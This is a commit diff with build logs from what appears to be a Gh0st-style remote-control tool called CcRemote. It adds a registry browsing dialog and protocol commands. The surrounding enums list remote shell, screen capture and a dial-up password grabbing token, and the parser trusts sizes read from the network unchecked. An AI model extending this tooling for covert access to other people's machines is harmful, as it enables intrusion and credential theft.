f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
SEU_QQwry.cpp
TrueColorToolBar.cpp
正在生成代码...
Buffer.cpp
IOCPServer.cpp
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
RegDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(269): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@ -44,6 +44,7 @@ enum
WM_OPENPSLISTDIALOG, // 打开进程管理窗口
WM_OPENSHELLDIALOG, // 打开shell窗口
WM_OPENSERVERDIALOG, // 打开服务窗口
WM_OPENREGEDITDIALOG, // 打开注册表管理窗口
WM_RESETPORT, // 改变端口
//////////////////////////////////////////////////////////////////////////
FILEMANAGER_DLG = 1, // 文件管理
@ -53,7 +54,8 @@ enum
KEYBOARD_DLG, // 键盘 未实现
SYSTEM_DLG, // 进程
SHELL_DLG, // shell管理
SERVER_DLG // 服务管理
SERVER_DLG, // 服务管理
REGEDIT_DLG // 注册表管理
};

View File

@ -0,0 +1,308 @@
// RegDlg.cpp : 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "RegDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CRegDlg 对话框
IMPLEMENT_DYNAMIC(CRegDlg, CDialog)
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
CRegDlg::CRegDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_DIALOG_REGEDIT, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
}
CRegDlg::~CRegDlg()
{
}
void CRegDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TREE, m_tree);
DDX_Control(pDX, IDC_LIST, m_list);
}
BEGIN_MESSAGE_MAP(CRegDlg, CDialog)
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegDlg::OnTvnSelchangedTree)
END_MESSAGE_MAP()
// CRegDlg 消息处理程序
BOOL CRegDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
HICON hIcon = NULL;
m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0);
//hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_FATHER_ICON), IMAGE_ICON, 18, 18, 0);
//m_ImageList_tree.Add(hIcon);
//hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_DIR_ICON), IMAGE_ICON, 32, 32, 0);
//m_ImageList_tree.Add(hIcon);
m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL );
DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
dwStyle |=TVS_HASBUTTONS | TVS_HASLINES;// | TVS_LINESATROOT;这里不可一设置这个样式不然ico图表无法显示
SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
m_hRoot = m_tree.InsertItem("注册表管理",0,0,0,0);
HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0);
HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
HKUS=m_tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
m_tree.Expand(m_hRoot,TVE_EXPAND);
m_list.InsertColumn(0,"名称",LVCFMT_LEFT,150,-1);
m_list.InsertColumn(1,"类型",LVCFMT_LEFT,60,-1);
m_list.InsertColumn(2,"数据",LVCFMT_LEFT,300,-1);
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//////添加图标//////
//m_HeadIcon.Create(16,16,TRUE,2,2);
//m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_STR_ICON));
//m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_DWORD_ICON));
//m_list.SetImageList(&m_HeadIcon,LVSIL_SMALL);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CRegDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
if(!isEnable) return;
isEnable=false;;
TVITEM item = pNMTreeView->itemNew;
if(item.hItem == m_hRoot)
{
isEnable=true;;
return;
}
SelectNode=item.hItem; //保存用户打开的子树节点句柄
m_list.DeleteAllItems();
CString FullPath=GetFullPath(SelectNode);
HTREEITEM CurrentNode = item.hItem; //取得此节点的全路径
while(m_tree.GetChildItem(CurrentNode)!=NULL)
{
m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode)); //删除 会产生 OnSelchangingTree事件 ***
}
char bToken=getFatherPath(FullPath);
//愈加一个键
int nitem=m_list.InsertItem(0,"(Data)",0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,"(NULL)");
//BeginWaitCursor();
//char *buf=new char[FullPath.GetLength]
FullPath.Insert(0,bToken);//插入 那个根键
bToken=COMMAND_REG_FIND;
FullPath.Insert(0,bToken); //插入查询命令
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
isEnable=true;;
*pResult = 0;
}
CString CRegDlg::GetFullPath(HTREEITEM hCurrent)
{
CString strTemp;
CString strReturn = "";
while(1){
if(hCurrent==m_hRoot) return strReturn;
strTemp = m_tree.GetItemText(hCurrent); //得到当前的
if(strTemp.Right(1) != "\\")
strTemp += "\\";
strReturn = strTemp + strReturn;
hCurrent = m_tree.GetParentItem(hCurrent); //得到父的
}
return strReturn;
}
char CRegDlg::getFatherPath(CString& FullPath)
{
char bToken;
if(!FullPath.Find("HKEY_CLASSES_ROOT")) //判断主键
{
//MKEY=HKEY_CLASSES_ROOT;
bToken=MHKEY_CLASSES_ROOT;
FullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
}else if(!FullPath.Find("HKEY_CURRENT_USER"))
{
bToken=MHKEY_CURRENT_USER;
FullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
}else if(!FullPath.Find("HKEY_LOCAL_MACHINE"))
{
bToken=MHKEY_LOCAL_MACHINE;
FullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
}else if(!FullPath.Find("HKEY_USERS"))
{
bToken=MHKEY_USERS;
FullPath.Delete(0,sizeof("HKEY_USERS"));
}else if(!FullPath.Find("HKEY_CURRENT_CONFIG"))
{
bToken=MHKEY_CURRENT_CONFIG;
FullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
}
return bToken;
}
void CRegDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_REG_PATH: //接收项
AddPath((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
break;
case TOKEN_REG_KEY: //接收键 ,值
AddKey((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
break;
default:
break;
}
}
void CRegDlg::AddKey(char* lpBuffer)
{
m_list.DeleteAllItems();
int nitem=m_list.InsertItem(0,"(Data)",0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,"(NULL)");
if(lpBuffer==NULL) return;
REGMSG msg;
memcpy((void*)&msg,lpBuffer,sizeof(msg));
char* tmp=lpBuffer+sizeof(msg);
int bin_temp;
for(int i=0;i<msg.count;i++)
{
BYTE Type=tmp[0]; //取出标志头
tmp+=sizeof(BYTE);
char* szValueName=tmp; //取出名字
tmp+=msg.size;
BYTE* szValueDate=(BYTE*)tmp; //取出值
tmp+=msg.valsize;
if(Type==MREG_SZ)
{
int nitem=m_list.InsertItem(0,szValueName,0);
m_list.SetItemText(nitem,1,"REG_SZ");
m_list.SetItemText(nitem,2,(char*)szValueDate);
}
if(Type==MREG_DWORD)
{
char ValueDate[256];
DWORD d=(DWORD)szValueDate;
memcpy((void*)&d,szValueDate,sizeof(DWORD));
CString value;
value.Format("0x%08x",d);
sprintf(ValueDate," (%d)",d);
value+=" ";
value+=ValueDate;
int nitem=m_list.InsertItem(0,szValueName,1);
m_list.SetItemText(nitem,1,"REG_DWORD");
m_list.SetItemText(nitem,2,value);
}
if(Type==MREG_BINARY)
{
//不能申请内存来动态操作获取不清楚原因只要是动态获取的话就会造成崩溃所以上限0x1000大小不过应该也够用了
int i = 0;
int index_max = msg.valsize;
char ValueDate[0x1000] = { 0 };
if (msg.valsize > 0x1000)
{
index_max = 0x990;//incomplete
}
for (i = 0; i < index_max; i++)
{
bin_temp = szValueDate[i];
sprintf(ValueDate +(i*3), "%02x ", bin_temp);
}
CString value = ValueDate;
if (index_max == 0x990)
{
value+=" incomplete";
}
int nitem=m_list.InsertItem(0,szValueName,1);
m_list.SetItemText(nitem,1,"REG_BINARY");
m_list.SetItemText(nitem,2, value);
}
if(Type==MREG_EXPAND_SZ)
{
int nitem=m_list.InsertItem(0,szValueName,0);
m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
m_list.SetItemText(nitem,2,(char*)szValueDate);
}
}
}
void CRegDlg::AddPath(char* lpBuffer)
{
if(lpBuffer==NULL) return;
int msgsize=sizeof(REGMSG);
REGMSG msg;
memcpy((void*)&msg,lpBuffer,msgsize);
DWORD size =msg.size;
int count=msg.count;
if(size>0&&count>0){ //一点保护措施
for(int i=0;i<count;i++){
char* szKeyName=lpBuffer+size*i+msgsize;
m_tree.InsertItem(szKeyName,1,1,SelectNode,0);//插入子键名称
m_tree.Expand(SelectNode,TVE_EXPAND);
}
}
}

View File

@ -0,0 +1,46 @@
#pragma once
#include "include/IOCPServer.h"
// CRegDlg 对话框
class CRegDlg : public CDialog
{
DECLARE_DYNAMIC(CRegDlg)
public:
CRegDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CRegDlg();
// 对话框数据
enum { IDD = IDD_DIALOG_REGEDIT};
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
bool isEnable; //控件是否可用
HTREEITEM SelectNode;
public:
CTreeCtrl m_tree;
CListCtrl m_list;
CImageList m_HeadIcon;
protected:
HTREEITEM m_hRoot;
HTREEITEM HKLM;
HTREEITEM HKCR;
HTREEITEM HKCU;
HTREEITEM HKUS;
HTREEITEM HKCC;
CImageList m_ImageList_tree;
public:
virtual BOOL OnInitDialog();
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
CString GetFullPath(HTREEITEM hCurrent);
char getFatherPath(CString& FullPath);
void OnReceiveComplete(void);
void AddKey(char* lpBuffer);
void AddPath(char* lpBuffer);
};

View File

@ -8,6 +8,7 @@ f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
f:\myapp\ccremote\ccremote\ccremote\release\audio.obj
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj

View File

@ -1,79 +1,15 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
Buffer.cpp
IOCPServer.cpp
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
SEU_QQwry.cpp
TrueColorToolBar.cpp
RegDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(259): warning C4244: “初始化”: 从“DWORD”转换到“char”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(261): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(263): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
正在生成代码
All 717 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
1 of 739 functions ( 0.1%) were compiled, the rest were copied from previous compilation.
0 functions were new in current compilation
1 functions had inline decision re-evaluated but remain unchanged
已完成代码的生成
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -84,6 +84,8 @@ enum
COMMAND_SERVICES_AUTO, // 启动方式 - 自动启动
COMMAND_SERVICES_MANUAL, // 启动方式 - 手动启动
COMMAND_REGEDIT, //注册表管理
COMMAND_REG_FIND, //注册表 管理标识
// 服务端发出的标识
TOKEN_AUTH = 100, // 要求验证
@ -121,7 +123,10 @@ enum
TOKEN_WSLIST, // 窗口列表
TOKEN_DIALUPASS, // 拨号密码
TOKEN_SHELL_START, // 远程终端开始
TOKEN_SERVERLIST // ·þÎñÁбí
TOKEN_SERVERLIST, // 服务列表
TOKEN_REGEDIT, // 注册表初始化完毕
TOKEN_REG_PATH, // 注册表项缓冲区
TOKEN_REG_KEY // 注册表缓冲区
};